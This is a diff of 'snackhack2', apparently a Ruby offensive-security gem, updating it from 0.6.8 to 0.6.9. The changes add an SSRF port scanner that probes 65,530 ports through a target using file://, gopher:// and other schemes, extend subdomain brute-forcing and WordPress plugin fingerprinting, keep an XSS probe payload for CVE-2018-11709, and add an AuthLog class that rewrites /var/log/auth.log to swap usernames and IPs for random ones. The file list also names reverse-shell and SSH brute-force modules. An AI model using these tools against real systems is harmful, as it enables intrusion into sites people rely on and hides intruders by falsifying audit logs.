4
  # sleep 10
5
+ require 'typhoeus'
5
6
  module Snackhack2
6
7
  class SSRF
7
- attr_accessor :site
8
-
8
+ attr_accessor :site, :ssrf_site, :protocol
9
9
  def initialize
10
10
  @site = site
11
+ @ssrf_site = ssrf_site
12
+ @protocol = protocol
13
+ end
14
+ def get_protocol
15
+ case @protocol.downcase
16
+ when "https"
17
+ "https://"
18
+ when "ftp"
19
+ "ftp://"
20
+ when "http"
21
+ "http://"
22
+ when "file"
23
+ "file://"
24
+ when "dict"
25
+ "dict://"
26
+ when "gopher"
27
+ "gopher://"
28
+ when "sftp"
29
+ "sftp://"
30
+ when "tftp"
31
+ "tftp://"
32
+ when "ldap"
33
+ "ldap://"
34
+ end
11
35
  end
12
- def port_scan
36
+ def http_port_scan(port_count: 8082)
37
+ hydra = Typhoeus::Hydra.new
38
+ i = 0
39
+ # Where found ports will be saved.
40
+ found_ports = []
41
+ # tries 65530 ports
42
+ 65530.times.each_with_index.map{ |i|
43
+ # adds the port to @ssrf
44
+ site = @site.gsub("SSRF", "#{@ssrf_site}") + ":" + i.to_s
45
+ request = Typhoeus::Request.new("#{site}", followlocation: true)
46
+ hydra.queue(request)
47
+ request.on_complete do |response|
48
+ # If the response code returns 200 it will save
49
+ # the port number to `found_ports`.
50
+ if response.code.to_i.eql?(200)
51
+ puts i
52
+ puts "#{response.code}"
53
+ found_ports << i
54
+ end
55
+ end
56
+ }
57
+ hydra.run
58
+ # returns the `found_ports` array.
59
+ found_ports
13
60
  end
14
61
  def ssrf_google
15
62
  url = @site.gsub('SSRF', 'http://google.com')
@@ -5,16 +5,14 @@ require 'resolv'
5
5
  require 'async/http/internet'
6
6
  module Snackhack2
7
7
  class Subdomains
8
- def initialize(site, wordlist: nil)
8
+ attr_accessor :site
9
+ def initialize(wordlist: nil)
9
10
  @site = site
10
11
  @wordlist = wordlist
11
12
  end
12
13
 
13
- def site
14
- @site.gsub('https://', '')
15
- end
16
-
17
14
  def wordlist
15
+ # gets the location of the subdomains list
18
16
  File.join(__dir__, 'lists', 'subdomains.txt')
19
17
  end
20
18
 
@@ -26,10 +24,15 @@ module Snackhack2
26
24
 
27
25
  def brute
28
26
  found = ''
27
+ # loops through each of the subdomains and adds it to
28
+ # the site which checks if it returns a `200` status code or `300` status code
29
+ unless @site.nil?
30
+ @site = @site.gsub("https://", "")
31
+ end
29
32
  File.readlines(wordlist).each do |l|
30
- s = "#{l.strip}.#{site}"
33
+ s = "#{l.strip}.#{@site}"
34
+ p File.join('https://', s)
31
35
  begin
32
- puts File.join('https://', s)
33
36
  g = Snackhack2.get(File.join('https://', s))
34
37
  if g.code == 200
35
38
  found += "#{s}\n"
@@ -3,7 +3,8 @@
3
3
  require 'async/http/internet'
4
4
  module Snackhack2
5
5
  class Subdomains2
6
- def initialize(site)
6
+ attr_accessor :site
7
+ def initialize
7
8
  @site = site
8
9
  @urls = []
9
10
  end
@@ -18,7 +19,10 @@ module Snackhack2
18
19
 
19
20
  def run
20
21
  File.readlines(wordlist).each do |a|
22
+ # removes `https://` from the instance variable
23
+ # `@site`. Adds the subdomain from the file to test if it is valid
21
24
  url = "https://#{a.strip}.#{@site.gsub('https://', '')}"
25
+
22
26
  fetch(url)
23
27
  puts url
24
28
  end
@@ -30,6 +34,8 @@ module Snackhack2
30
34
  task.with_timeout(2) do
31
35
  internet = Async::HTTP::Internet.new
32
36
  m = internet.get(url, { 'user-agent' => Snackhack2::UA })
37
+ # only adds it to the @url instance variable if
38
+ # it returns a status code of `200` OR `301`
33
39
  @urls << url if (m.status == 200) || (m.status == 301)
34
40
  m.read
35
41
  end
@@ -3,20 +3,33 @@
3
3
  require 'nokogiri'
4
4
  module Snackhack2
5
5
  class TomCat
6
- def initialize(site)
6
+ attr_accessor :site
7
+ def initialize
7
8
  @site = site
8
9
  end
9
10
 
10
11
  def run
11
- tc = Snackhack2.get(File.join(@site, '/docs/'))
12
- if tc.code == 404
13
- if tc.body.include?('Tomcat')
14
- doc = Nokogiri::HTML(tc.body)
15
- version = doc.at('h3').text
16
- puts "[+] Looks like the site is Tomcat, running #{version}."
12
+ # adds `/docs/` to the instance variable @site
13
+ tc = Snackhack2.get(@site)
14
+ if tc.headers.has_key?("server")
15
+ if tc.headers['server'].match?("Tomcat")
16
+ puts "[+] Found Tomcat in the site's header... #{tc.headers['server']}\n\n\n"
17
+ tc_body = Snackhack2.get(File.join(@site, '/docs/'))
18
+ if tc_body.code.to_i.eql?(404)
19
+ if tc_body.body.include?('Tomcat')
20
+ doc = Nokogiri::HTML(tc.body)
21
+ # it will then extract the version displayed if
22
+ # the word is found
23
+ begin
24
+ # use to get the version
25
+ version = doc.at('h3').text
26
+ puts "[+] Looks like the site is Tomcat, running #{version}."
27
+ rescue => e
28
+ puts "ERROR: #{e}"
29
+ end
30
+ end
31
+ end
17
32
  end
18
- else
19
- puts "[+] Status code: #{tc.code}"
20
33
  end
21
34
  end
22
35
  end
@@ -1,5 +1,5 @@
1
1
  # frozen_string_literal: true
2
2
 
3
3
  module Snackhack2
4
- VERSION = '0.6.8'
4
+ VERSION = '0.6.9'
5
5
  end
@@ -16,6 +16,7 @@ module Snackhack2
16
16
  File.readlines(@path).each do |line|
17
17
  old_ip = line.match(/((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)/)
18
18
  out += if old_ip.to_s == @ip
19
+ # replaces the old IP with the new_ip
19
20
  line.gsub(old_ip.to_s, new_ip)
20
21
  else
21
22
  line
@@ -25,4 +26,58 @@ module Snackhack2
25
26
  File.open(@path, 'w+') { |file| file.write(out) }
26
27
  end
27
28
  end
29
+ class AuthLog
30
+ attr_accessor :ip, :user
31
+ def initialize(path: File.join("/var", "log", "auth.log.2"), user: "root")
32
+ @ip = ip
33
+ @user = user
34
+ @user_list = ["user", "admin", "nobody", "proxy", "test", "tom", "frank", "irc", "sshd", "mail"]
35
+ @path = path
36
+ end
37
+ def remove_username
38
+ # replaces the username inputted with one
39
+ # 'randomly' picked from @user_list
40
+ out = ""
41
+ # loops through the given file
42
+ File.readlines(@path).each do |user|
43
+ new_user = user.match(/#{@user}/)
44
+ if new_user.to_s.eql?(@user)
45
+ # replaces the matched user with a
46
+ # 'randomly' ( .sample) user
47
+ out += user.gsub(new_user.to_s, @user_list.sample)
48
+ else
49
+ # if it does not match it will add the non matched
50
+ # line to the newly created one
51
+ out += user
52
+ end
53
+ end
54
+ File.delete(@path)
55
+ File.open(@path, 'w+') { |file| file.write(out) }
56
+ end
57
+ def remove_ip
58
+ out = ''
59
+ # generate random IP
60
+ new_ip = Array.new(4) { rand(256) }.join('.')
61
+ File.readlines(@path).each do |line|
62
+ # Uses .match and regex to match IPs
63
+ old_ip = line.match(/((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)/)
64
+ out += if old_ip.to_s == @ip
65
+ # replace the foud ip with a randomly generated IP
66
+ line.gsub(old_ip.to_s, new_ip)
67
+ else
68
+ # if it does not find the inputted IP
69
+ # it will return the line
70
+ line
71
+ end
72
+ end
73
+ # deletes the @path
74
+ File.delete(@path)
75
+ # saves the new log to the old path
76
+ File.open(@path, 'w+') { |file| file.write(out) }
77
+ end
78
+ def remove_all
79
+ remove_ip
80
+ remove_username
81
+ end
82
+ end
28
83
  end
@@ -12,10 +12,14 @@ module Snackhack2
12
12
  end
13
13
 
14
14
  def run
15
+ # uses nokogiri to get the source of the page
15
16
  doc = Nokogiri::HTML(URI.open(@site))
17
+ # uses the xpath to get all the links on the source code
16
18
  links = doc.xpath('//a')
19
+ # gets the links
17
20
  all_links = links.map { |e| e['href'] }.compact
18
- content = all_links.uniq.join("\n")
21
+ # remove any duplicates
22
+ content = all_links.uniq.join("\n")
19
23
  if @save_file
20
24
  Snackhack2.file_save(@site, 'links', content)
21
25
  else
@@ -6,7 +6,7 @@ module Snackhack2
6
6
  class WebsiteMeta
7
7
  attr_accessor :site
8
8
 
9
- def initialize()
9
+ def initialize
10
10
  @site = site
11
11
  end
12
12
 
@@ -14,17 +14,17 @@ module Snackhack2
14
14
  doc = Nokogiri::HTML(URI.open(@site))
15
15
  posts = doc.xpath('//meta')
16
16
  posts.each do |link|
17
+ # displays the meta tags of name, content and name
17
18
  puts "#{link.attributes['name']}: #{link.attributes['content']}" unless link.attributes['name'].nil?
18
19
  end
19
20
  end
20
21
  def description
21
22
  begin
22
23
  doc = Nokogiri::HTML(URI.open("https://#{@site}", "User-Agent" => Snackhack2::UA))
23
- if !doc.xpath('/html/head/meta[@name="description"]/@content').to_s.empty?
24
- doc.xpath('/html/head/meta[@name="description"]/@content').to_s
24
+ unless doc.xpath('/html/head/meta[@name="description"]/@content').to_s.empty?
25
+ # extracts the description tag from meta tags
26
+ puts doc.xpath('/html/head/meta[@name="description"]/@content').to_s
25
27
  end
26
- #dsp <<
27
-
28
28
  rescue => e
29
29
  puts "ERROR: #{e}"
30
30
  end
@@ -54,6 +54,7 @@ module Snackhack2
54
54
  end
55
55
 
56
56
  def wp_login
57
+ # detects if the site is using wordpress
57
58
  percent = 0
58
59
  ## todo: maybe add Bayes Theorem to detect wp
59
60
  wp = ['wp-includes', 'wp-admin', 'Powered by WordPress', 'wp-login.php', 'yoast.com/wordpress/plugins/seo/',
@@ -71,25 +72,73 @@ module Snackhack2
71
72
  puts "Wordpress Points: #{percent}"
72
73
  end
73
74
 
74
- def yoast_seo
75
+ def yoast_seo(print_version: false)
76
+ # checks to see if the wordpress site
77
+ # uses the yoast seo plugin
75
78
  ys = Snackhack2.get(@site)
76
- return unless ys.code == 200
77
-
78
- yoast_version = ys.body.split('<!-- This site is optimized with the Yoast SEO Premium plugin')[1].split(' -->')[0]
79
- ['This site is optimized with the Yoast SEO plugin',
80
- 'This site is optimized with the Yoast SEO Premium plugin'].each do |site|
81
- puts "#{ys.body.scan(/#{site}/).shift} with version #{yoast_version}" unless ys.body.scan(/#{site}/).shift.nil?
79
+ if ys.code.to_i.eql?(200)
80
+ if ys.body.match?("Yoast")
81
+ v = ys.body.scan(/This site is optimized with the Yoast SEO plugin\sv\d\d\.\d/).join(" ")
82
+ # makes sure the word 'plugin' is in the 'v' string
83
+ if v.include?("plugin")
84
+ # gets the version
85
+ version = v.split("plugin")[1].strip
86
+ end
87
+ end
88
+ end
89
+ unless print_version
90
+ return version
91
+ else
92
+ puts "Yoast Seo is running version: #{version}"
82
93
  end
83
94
  end
84
95
 
85
- def all_in_one_seo
96
+ def find_plugins(print_version: true)
97
+ found_versions = {}
86
98
  alios = Snackhack2.get(@site)
87
- return unless alios.code == 200
88
- return unless alios.body.scan(/(All in One SEO Pro\s\d.\d.\d)/)
89
-
90
- puts "Site is using the plugin: #{alios.body.match(/(All in One SEO Pro\s\d.\d.\d)/)}"
99
+ if alios.code.eql?(200)
100
+ data = {"Yoast SEO plugin " => 'Yoast SEO plugin v\d\d\.\d',
101
+ "MonsterInsights plugin" => 'MonsterInsights plugin v\d\d\.\d\.\d',
102
+ "All in One SEO" => 'All in One SEO \d\.\d\.\d\.\d',
103
+ "Site Kit by Google" => 'Site Kit by Google \d\.\d\d\d\.\d',
104
+ "Google Analytics by ExactMetrics plugin" => 'Google Analytics by ExactMetrics plugin v\d\.\d\d\.\d', "HubSpot WordPress plugin" => 'HubSpot WordPress plugin v\d\d\.\d\.\d\d', "Simple Social Buttons" => 'Simple Social Buttons \d\.2\.0',
105
+ "Powered by Slider Revolution" => 'Powered by Slider Revolution \d\.\d\.\d\d', "Generated By Events-Calendar - Version:" => 'Generated By Events-Calendar - Version: \d\.\d\.\d',
106
+ "Open Graph and Twitter Card Tags" => 'Open Graph and Twitter Card Tags \d\.\d\.\d',
107
+ "Google Analytics Tracking by Google Analyticator" => 'Google Analytics Tracking by Google Analyticator \d\.\d\.\d', "REVOLUTION SLIDER" => 'REVOLUTION SLIDER \d\.\d\.\d',
108
+ "Generated By sidebarTabs" => 'Generated By sidebarTabs \d\.\d',\
109
+ "Yoast WordPress SEO plugin" => 'Yoast WordPress SEO plugin v\d\.\d\.\d',
110
+ "Yoast SEO Premium plugin" => 'Yoast SEO Premium plugin v\d\d\.\d \(Yoast SEO v27\.1\.1\)',
111
+ "Google Analytics by MonsterInsights plugin" => 'Google Analytics by MonsterInsights plugin v\d\d\.\d\.\d',
112
+ "All in One SEO (AIOSEO\)" => 'All in One SEO \(AIOSEO\) \d\.\d\.\d',
113
+ "EduBlock PRO" => 'EduBlock PRO \d\.\d\.\d',
114
+ "WPZOOM Framework" => 'WPZOOM Framework \d\.0\.\d',
115
+ "WPML" => 'WPML ver:\d\.\d\.\d',
116
+ "Redux" => 'Redux \d\.\d\.\d',
117
+ "WordPress Download Manager"=> 'WordPress Download Manager \d\.\d\.\d\d',
118
+ "WP Rocket" => 'WP Rocket \d\.\d\d\.\d',
119
+ "WooCommerce" => 'WooCommerce \d\d\.\d\.\d',
120
+ "Yoast SEO plugin" => 'Yoast SEO plugin v\d\.\d',
121
+ "Divi" => 'Divi v\.\d\.\d\d\.\d',
122
+ "WordPress" => 'WordPress \d\.\d\.\d',
123
+ "Newtek ChildTheme Base for Divi " => 'Newtek ChildTheme Base for Divi v\.\d\.\d',
124
+ "Presence" => 'Presence \d\.\d\.\d\d',
125
+ "WPZOOM Framework" => 'WPZOOM Framework \d\.\d\.\d'}
126
+ data.each do |name, regex|
127
+ version = alios.body.scan(/#{regex}/)
128
+
129
+ unless version.empty?
130
+ found_versions[name] = version.shift.gsub(name, "").strip
131
+ end
132
+ end
133
+ end
134
+ unless print_version
135
+ return found_versions
136
+ else
137
+ found_versions.each do |name, version|
138
+ puts "#{name}: #{version}"
139
+ end
140
+ end
91
141
  end
92
-
93
142
  def wp_log
94
143
  wplog_score = 0
95
144
  wp = ['\wp-content\plugins', 'PHP Notice', 'wp-cron.php', '/var/www/html', 'Yoast\WP\SEO', 'wordpress-seo']
@@ -105,6 +154,7 @@ module Snackhack2
105
154
 
106
155
  def wp_plugin
107
156
  wp_plugin_score = 0
157
+ # text in which it will search for
108
158
  wp = ['Index of', 'Name', 'Last modified', 'Size', 'Parent Directory', '/wp-content/plugins']
109
159
  plug = Snackhack2.get(File.join(@site, '/wp-content/plugins/'))
110
160
  if plug.code == 200
@@ -14,6 +14,7 @@ module Snackhack2
14
14
  def run
15
15
  wp = HTTParty.get(File.join(@site, '/index.php/community/?%22%3E%3Cscript%3Ealert(/XSS/)%3C/script%3E'))
16
16
  if wp.code == 200
17
+ # if `XSS` is found it means the site MIGHT be vulnerable
17
18
  puts "[+] #{@site} is vulnerable to CVE-2018-11709..." if wp.match(/XSS/)
18
19
  else
19
20
  puts "[+] HTTP code #{wp.code}"
metadata CHANGED
@@ -1,14 +1,14 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: snackhack2
3
3
  version: !ruby/object:Gem::Version
4
- version: 0.6.8
4
+ version: 0.6.9
5
5
  platform: ruby
6
6
  authors:
7
7
  - mike
8
8
  autorequire:
9
9
  bindir: exe
10
10
  cert_chain: []
11
- date: 2025-11-20 00:00:00.000000000 Z
11
+ date: 2026-03-25 00:00:00.000000000 Z
12
12
  dependencies:
13
13
  - !ruby/object:Gem::Dependency
14
14
  name: httparty
@@ -87,6 +87,7 @@ files:
87
87
  - lib/snackhack2/emails.rb
88
88
  - lib/snackhack2/forward_remote.rb
89
89
  - lib/snackhack2/google_analytics.rb
90
+ - lib/snackhack2/host_injection.rb
90
91
  - lib/snackhack2/indirect_command_injection.rb
91
92
  - lib/snackhack2/iplookup.rb
92
93
  - lib/snackhack2/list_users.rb
@@ -98,6 +99,7 @@ files:
98
99
  - lib/snackhack2/portscan.rb
99
100
  - lib/snackhack2/reverse_shell.rb
100
101
  - lib/snackhack2/robots.rb
102
+ - lib/snackhack2/ruby_comments.rb
101
103
  - lib/snackhack2/screenshots.rb
102
104
  - lib/snackhack2/sitemap.rb
103
105
  - lib/snackhack2/sshbrute.rb